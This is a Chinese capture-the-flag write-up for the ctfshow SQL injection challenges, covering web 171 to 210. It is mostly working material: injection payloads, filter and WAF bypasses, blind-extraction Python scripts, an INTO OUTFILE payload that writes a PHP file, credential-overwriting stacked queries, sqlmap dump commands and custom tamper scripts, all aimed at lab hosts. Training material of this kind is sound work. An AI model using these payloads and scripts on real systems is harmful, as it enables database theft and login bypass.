目录

ctfshow web sql注入171-253

# ctfshow web sql注入171-253

参考:

# web 171

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"
1

字符型注入。没有过滤,直接万能密码

1' or '1'='1
1

# web 172

用户名过滤了'flag',flag的值在password字段里,联合查询

-1'union select 1,password from ctfshow_user2%23
1

# web 173

查询结果不能有flag,flag是username字段里的值,不查username就可以了。注意这题三个参数

1'union select 1,2,password from ctfshow_user3%23 
1

# web 174

方法1 :盲注

通过查询flag的每一位和字符来比较

import requests
import string
flag = ''
table = string.digits + string.ascii_letters + '-{}'
for i in range(1, 45):
    for j in table:
        # url去掉s  接口在网络面板里可以看到
        url = "http://f4b0bf5f-7277-4562-964d-cbe5e5737fb6.challenge.ctf.show/api/v4.php?id="
        payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),{},1)="{}"--+'''.format(i,j)
        r = requests.get(url + payload)
        if "admin" in r.text:
            flag += j
            print(flag)
            break
1
2
3
4
5
6
7
8
9
10
11
12
13
14

方法2:结果里过滤了数字,使用sql语句里的replace替换成其他字符,查询后再替换回去

payload

1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+
1

还原脚本

nb='nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbhnbfnbbnbcnbcnbcnbenbfnbbnbfnbenbfnbcnbfnbanbbDnbcnbcnbcnbgnbcnbgnbfnbdnbbDnbcnbdnbcnbbnbfnbfnbcnbhnbbDnbcnbhnbfnbanbfnbdnbcnbdnbbDnbcnbfnbfnbcnbfnbanbfnbbnbcnbgnbcnbhnbcnbenbfnbfnbcnbcnbcnbdnbfnbanbfnbbnbgD'

nb=nb.replace('nba','1').replace('nbb','2').replace('nbc','3').replace('nbd','4').replace('nbe','5').replace('nbf','6').replace('nbg','7').replace('nbh','8').replace('nbi','9').replace('nbj','0')
flag = bytes.fromhex(nb).decode("ascii")
print(flag)
1
2
3
4
5

# web 175

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
1
2
3

这个正则匹配了所有的ascll码,ascll码0-127的字符都被过滤了(字母数字字符)

解法1:;盲注

import requests
import string
flag = ''
table = string.digits + string.ascii_letters + '-{}'
for i in range(1, 45):
    for j in table:
        url = "http://f4b0bf5f-7277-4562-964d-cbe5e5737fb6.challenge.ctf.show/api/v4.php?id="
        payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),{},1)="{}"--+'''.format(i,j)
        r = requests.get(url + payload)
        if "admin" in r.text:
            flag += j
            print(flag)
            break
1
2
3
4
5
6
7
8
9
10
11
12
13

解法二:将查询结果写进文件,或者写个木马进去

payload

# 将结果写到文件
-1'union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'%23
# 写马
-1'union select '1',"<?php phpinfo();?>" into outfile '/var/www/html/1.php'%23
1
2
3
4

# web 176

这题过滤了小写的‘select’,在sql中,关键字不区分大小写

payload

1'union SElect 1,2,password from ctfshow_user --+
1

# web 177

过滤了空格

常见绕过空格的方式

  • /**/
  • %0a
  • %0b
  • %0c
  • %0d
  • %09
  • (字段名)

payload

1'union%09select%091,2,password%09from%09ctfshow_user%23
1

# web 178

过滤了/**/注释符,上一题payload还能用

1'union%09select%091,2,password%09from%09ctfshow_user%23
1

# web 179

%09被过滤了,%0c还能用

1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
1

# web 180

过滤了注释符#,--,使用单引号闭合。同时使用group_concat函数将结果合并

-1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1
1

# web 181

参考了大佬的文章,在mysql中,sql语句可以用符号表示逻辑运算符,||与or等效

传入

1'||username='flag
1

# web 182

过滤了flag,sql正则匹配flag,圆括号包裹字段名

0'||(username)regexp'f
1

最后换为f,l,a,g都可以匹配到

# web 183

这题通过聚合函数count(),对查询的结果统计,来判断查询是否成功实现盲注。过滤了等号=,还有regexp正则和like模糊匹配

#author:yu22x
import requests
import string
url="http://0be2b54b-f4b2-4843-a369-5878015eeca6.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    data={
    'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshow{flag+j}")'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# web 184

过滤了where,可以用group by having。过滤了引号可以用16进制

通过pass字段分组,依次比较每一位字符的16进制,盲注出整个flag

#author:yu22x
import requests
import string
url="http://e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = asc2hex(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# web 185

过滤了数字,可以使用布尔值构造数字,例如(true+true)=2。最后再用concat连接

mysql> select (true+true)=2;
+---------------+
| (true+true)=2 |
+---------------+
|             1 |
+---------------+
1
2
3
4
5
6
#author:yu22x
import requests
import string
url="http://cc981786-8e5b-4934-a89c-86b6bc950e7d.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# web 186

过滤了<>大于小于号,没有影响,上一题脚本还能跑

# web 187

$password = md5($_POST['password'],true);
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
1
2

存在这样一个字符ffifdyop,在php的md5($pwd,true)函数的值是'or'6]!r,b ,可以利用md5值里的or绕过

直接登录admin ffifdyop

f12打开开发工具,在网络界面可以看到api接口返回的json数据 {"code":0,"msg":"\u767b\u9646\u6210\u529f","count":0,"data":[{"flag":"ctfshow{fbe2b5d6-6f77-4396-a89d-f1ed168700ee}"}]}

# web 188

username=0,pwd=0登录。f12查看网络接口返响应回json数据

在查询语句里,username和传进来的username比较。在mysql里,字符和数字比较时,会把字符转化为0再和数字比较。得到一个0=0的判断,查出所有数据

$sql = "select pass from ctfshow_user where username = {$username}";
1

在密码验证这里

//密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }
1
2
3
4
5

正确密码和整数密码比较,如果正确密码是字符串,那么要和intval($password)比较时也会作为0,那么intval($password)=0时可以绕过验证,所以密码也传0

# web 189

读文件盲注

import requests
import time

url = "http://9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
    for x in flagstr:
        data={
        "username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
        "password":"0"
        }
        print(data)
        response = requests.post(url,data=data)
        time.sleep(0.3)
        # 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
        if response.text.find("8d25")>0:
            print("++++++++++++++++++ {} is right".format(x))
            flag+=x
            break
        else:
            continue
    print(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# web 190

给username加上了单引号

$sql = "select pass from ctfshow_user where username = '{$username}'";
1

登录admin,返回密码错误,使用随意用户名返回用户不存在,说明查询成功时会返回密码错误,利用这点进行盲注

#author:yu22x
import requests
import string
url="http://46163ae9-ca15-415c-9a1f-d79ea27cf81e.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        #跑库名
        # data={
        #     'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑表名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# web 191

过滤了用户名里可能包含的ascll字符串

if(preg_match('/file|into|ascii/i', $username)){
1

可以使用ord()函数替换ascii()函数

#author:yu22x
import requests
import string
url="http://f5ac78f2-fd7e-4221-9bf0-d63586ee8a51.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        #跑库名
        # data={
        #     'username':f"'||if(ord(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑表名
        # data={
        #     'username':f"'||if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if(ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mysql> select ascii('1');
ascii('1') 
49 

mysql> select ord('1');
ord('1')
 49 
1
2
3
4
5
6
7

# web 192

禁用了ord,hex函数,换成直接substr()函数跑字符

前面没有介绍,这里介绍一下

提示

SUBSTR(string, start, length),每次改变start的位置,length设为1,可以到达每次截取一个字符串的目的进行比较,爆破出字段值

import requests
import string
url="http://4db5cb12-5119-4ebd-9443-800e9ed3cdd0.challenge.ctf.show/api/"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''

for i in range(1,45):
    for j in s:
    
        data={
            'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=j  
            print(flag)
            break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# web 193

禁用了substr函数,可以使用mid()函数

提示

MID(string,start,length)函数,功能类似substr函数,用它来每次截取一个,爆破字段值

import requests
import string
url="http://70fd0050-11ec-4c26-8e1e-5c9ef88ab8b7.challenge.ctf.show/api/"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''

for i in range(1,46):
    for j in s:
                #跑表名
        # data={
        #     'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{j}',1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}',1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{j}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=j  
            print(flag)
            break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# web 194

禁用了left,right函数,那上一题应该是考察left,right函数了

left(str,length)

left函数从左截取字符串,right函数从右截取字符串

这题还是用上题脚本跑了

# web 195

堆叠注入,给sql添加上自己的sql语句。过滤了空格和空格的绕过方式,还可以使用圆括号反引号包裹字段名,分号结束语句。通过update语句把用户名密码都修改为1,登录

1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;
1
2

# web 196

这题select实际没有过滤

题目查询语句

$sql = "select pass from ctfshow_user where username = {$username};";
1

添加下面的sql语句实现堆叠注入后,row[0]=1,此时,$row[0]==$password密码验证时就需要登入密码=1了

1;select(1)
1

# web 197 - 200

# 查询语句
$sql = "select pass from ctfshow_user where username = {$username};";
# 过滤语句
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username))
1
2
3
4

在上面语句中,发现没有过滤空格分号,且在查询语句里点明了表名,可以利用表名作为密码

用户名登入1;show tables;

1;show tables;
1

而密码验证是$row[0]==$password,这样查询的返回结果就是当前数据库里的表名ctfshow_user

密码登入ctfshow_user即可登录

# web 201

开始使用sqlmap了,要求

 使用--user-agent 指定agent
 --user-agent=sqlmap
 使用--referer 绕过referer检查
 --referer=ctf.show
1
2
3
4

在这里,将一下用到的参数

提示

-dump 导出数据 -refer 伪造来源

-D :指定数据库名 -T 指定表名 -C 指定列名 --dbs 查询所有数据库 --tables 查询指定数据库的所有表 --columns 查询指定表的所有列 --dump 查询指定列的所有数据

# 爆数据库   ctfshow_web
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show --dbs
# 指定数据库来爆表名     ctfshow_user
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show -D ctfshow_web --tables
# 指定数据库,表爆字段   id,pass,username
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump
1
2
3
4
5
6
7
8

# web 202

使用--data 调整sqlmap的请求方式,使用post方式传参

--data="id=1"

# 爆数据库   ctfshow_web
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs
# 指定数据库来爆表名     ctfshow_user
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show -D ctfshow_web --tables
# 指定数据库,表爆字段   id,pass,username
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump
1
2
3
4
5
6
7
8

# web 203

使用--method 调整sqlmap的请求方式,使用put方式提交,还要带上header的content-type

--method=PUT --headers="Content-Type:text/plain"

如果加上还是不行,就在url后的api在加上index.php,不知道为什么前面都可以直接用api,这里就要加index.php才能跑了

# 爆数据库   ctfshow_web
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain"
# 指定数据库来爆表名     ctfshow_user
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web --tables
# 指定数据库,表爆字段   id,pass,username
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
1
2
3
4
5
6
7
8

# web 204

带上cookie参数,使用--cookie

f12在应用里找到PHPSESSID=xxxx的cookie,只需要值即可

--cookie="xxxx"

# 爆数据库   ctfshow_web
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q"
# 指定数据库来爆表名     ctfshow_user
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q" -D ctfshow_web --tables
# 指定数据库,表爆字段   id,pass,username
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q" -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q" -D ctfshow_web -T ctfshow_user -C pass --dump
1
2
3
4
5
6
7
8

# web 205

api调用需要鉴权

f12打开网络界面,在查询框输入1,可以看到网络调用api时,还请求了一个getToken.php

token

  • –safe-url:意思是访问目标网址前需要访问的地址
  • –safe-freq是每两次间访问gettoken的次数,设置为一次

例如--safe-url http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/getToken.php --safe-freq 1

这一题不能带cookie跑,cookie是变化的,这一次flag的位置不在ctfshow_user表里了,在新的表ctfshow_flax里

# 爆数据库   ctfshow_web
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库来爆表名     ctfshow_flax
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web --tables --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表爆字段   flagx,id,tes
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flax --columns --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flax -C flagx --dump --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
1
2
3
4
5
6
7
8

# web 206

sql需要闭合

sqlmap会自动识别和闭合。也可以手动闭合,–suffix:指定payload后面加的后缀,可以添加多个

--suffix="')#"

打开f12,在查询框输入1,可以看到网络调用api时,还请求了一个getToken.php。和上一题相似

直接跑了

# 爆数据库   ctfshow_web
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库来爆表名     ctfshow_flaxc
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web --tables --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表爆字段   flagv,id,tes
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flaxc --columns --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
1
2
3
4
5
6
7
8

# web 207

--tamper 的初体验 tamper绕过空格

--tamper=space2comment 太好玩辣,就是跑的慢

# 爆数据库   ctfshow_web
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库来爆表名     ctfshow_flaxca
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web --tables --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表爆字段   flagvc,id,tes
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flaxca --columns --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
1
2
3
4
5
6
7
8

# web 208

过滤了select,可以双写绕过或者大写绕过

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }
1
2
3
4
5

看了大佬们是写tamper脚本,不清除这个脚本怎么写,后续可能补上。

sqlmap使用是sql语句默认是大写,所以可以使用上一题的payload

# 爆数据库   ctfshow_web
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库来爆表名     ctfshow_flaxcac
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web --tables --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表爆字段   flagvca,id,tes
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flaxcac --columns --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain"  -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
1
2
3
4
5
6
7
8

# web 209

前面看别人修改sqlmap的脚本,不知道路径,现在突然想到了。做题需要当场修改脚本到/usr/share/sqlmap/tamper/

提示

补充:【Sqlmap Tamper 编写】 (opens new window) 建议跟着做一下,补充能量。

whereis sqlmap # 查看sqlmap路径,得到/usr/share/sqlmap
ls /usr/share/sqlmap/tamper/ # 查看tamper所有脚本
1
2

scripts

这题的sql语句

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
# 过滤preg_match('/ |\*|\=/', $str);空格,星号,等号
1
2

使用like模糊匹配

在tamper目录下写一个脚本show-web209.py,把sqlmap生成的payload里的等号换成like

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass


def tamper(payload, **kwargs):
    return payload.replace("=", " like ").replace(" ", chr(0x09))
1
2
3
4
5
6
7
8
9
10
11
12
# 爆数据库   ctfshow_web
sqlmap -u "https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web209.py --dbs 

# 爆表 ctfshow_flav
sqlmap -u "https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web209.py --dbs -D ctfshow_web --tables

# 爆字段 ctfshow_flagx
sqlmap -u "https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web209.py --dbs -D ctfshow_web --tables -T ctfshow_flav --columns -C ctfshow_flagx --dump
1
2
3
4
5
6
7
8

# web 210

题目关键处理语句strrev(base64_decode(strrev(base64_decode($id))));,把payload逆向一下,让他处理后得到payload

错误示范:

base64加密 =》 strrev反转 =》base64加密 =》strrev反转

正确:

反转 =》 加密 = 》 反转 =》 加密

tamper编写,show-web210.py

#!/usr/bin/env python

import base64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
  # 反转 =》 加密 = 》 反转 =》 加密
    return base64.b64encode(base64.b64encode(payload[::-1].encode()).decode()[::-1].encode()).decode()
1
2
3
4
5
6
7
8
9
10
11
12
